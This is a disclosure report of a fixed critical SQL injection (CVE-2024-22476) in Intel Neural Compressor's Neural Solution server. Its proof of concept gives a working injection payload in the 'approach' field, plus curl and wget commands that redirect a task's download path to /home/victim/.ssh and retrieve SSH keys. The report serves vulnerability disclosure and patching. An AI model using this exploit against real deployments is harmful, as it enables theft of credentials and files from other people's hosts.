Arbitrary file reading via SQL Injection in intel/neural-compressor

Valid

Reported on Jan 8th 2024

Description

When we submit a task to the neural_solution server via API /task/submit, the server stores the task information in the SQLite database using a simple INSERT query. However, the code that handles this SQL query is vulnerable to SQL injection attacks.

Through this SQL injection, an attacker can update the q_model_path field (or any other fields) of any task in the database. In the meantime, the API /download/<task_id> can be utilized to download any folder specified by the q_model_path field and there is no filtering or validation in place for this field. The attacker can easily download any content from the host system if they can update the q_model_path field of a task in the database.

As a result, it becomes evident that this vulnerability not only compromises the security of the database but also allows attackers to download any files from the host system.

Proof of Concept

  1. Make sure you have the components of Neural Compressor (Neural Solution, Neural Compressor, etc.) installed.

  2. Start the Neural Solution service with the default configuration by using the command neural_solution start.

  3. Submit a task via /task/submit to obtain a valid task_id.

On the attacker's machine, create a JSON file (named valid_task.json for example) containing the following payload:

{
    "script_url": "https://github.com/huggingface/transformers/blob/v4.21-release/examples/pytorch/text-classification/run_glue.py",
    "optimized": "False",
    "arguments": [
        "--model_name_or_path bert-base-cased --task_name mrpc --do_eval --output_dir result"
    ],
    "approach": "static",
    "requirements": [],
    "workers": 1
}

Important Note: Make sure script_url contains a valid http/https url like above, so that the task_log file for that specific task can be created during the process. Otherwise later steps won't be successful.

Make a POST request as follows:

curl -X POST -H "Content-Type: application/json" --data @./valid_task.json  http://127.0.1.1:8000/task/submit/

We will receive a successful response as below. Suppose we obtain a valid task_id = 1b9ff5c2fd2143d58522bd71d18845a3 in the response:

{"status":"successfully","task_id":"1b9ff5c2fd2143d58522bd71d18845a3","msg":"Task submitted successfully"}
  1. Use this obtained task_id to craft a SQL injection request. For this POC, we will use the approach parameter to inject the SQL query (We can manipulate script_url, arguments, requirements for the same result). Create a json file (named sqli_task.json for example) containing the followings:
{
    "script_url": "https://github.com/huggingface/transformers/blob/v4.21-release/examples/pytorch/text-classification/run_glue.py",
    "optimized": "False",
    "arguments": [
    ],
    "approach": "5', '6', 7, 'pending'), ('1b9ff5c2fd2143d58522bd71d18845a3', '2', 3, '4', '5', '6', 7, 'pending') ON CONFLICT (id) DO UPDATE SET id = '1b9ff5c2fd2143d58522bd71d18845a3', q_model_path = '/home/victim/.ssh' --",
    "requirements": [],
    "workers": 1
}

Notice the task_id (1b9ff5c2fd2143d58522bd71d18845a3) and the folder we want to download (/home/victim/.ssh) in the content above (Adjust these values according to your case). Because the SQL execute function in the source code does not allow more than two statements in the same query, we have to do a sneaky way like above (with ON CONFLICT) to update the q_model_path field.

Make a POST request as follows:

curl -X POST -H "Content-Type: application/json" --data @./sqli_task.json  http://127.0.1.1:8000/task/submit/

After receiving a success response from the above request, we can download the content of the /home/victim/.ssh folder to our machine with the following command:

wget http://127.0.1.1:8000/download/1b9ff5c2fd2143d58522bd71d18845a3

The downloaded file will be in zip format. Extract it and we will have the stolen content.

Impact

  1. Unauthorized Access to Sensitive Files

  2. Database compromise

  3. System Compromise: Once an attacker gains access to sensitive files, they may be able to further exploit the compromised system, escalate privileges, pivot to other systems, or perform other malicious activities.

References

CVE

CVE-2024-22476 published

Vulnerability Type

CWE-89: SQL Injection

Severity

Critical (10)

Attack vector Network

Attack complexity Low

Privileges required None

User interaction None

Scope Changed

Confidentiality High

Integrity High

Availability High

Open in visual CVSS calculator

Registry

Pypi

Affected Version

2.4

Visibility

Public

Status

Fixed

Disclosure Bounty

$2500

Fix Bounty

$625

Found by

CybrX

@williwollo

MIDDLEWEIGHT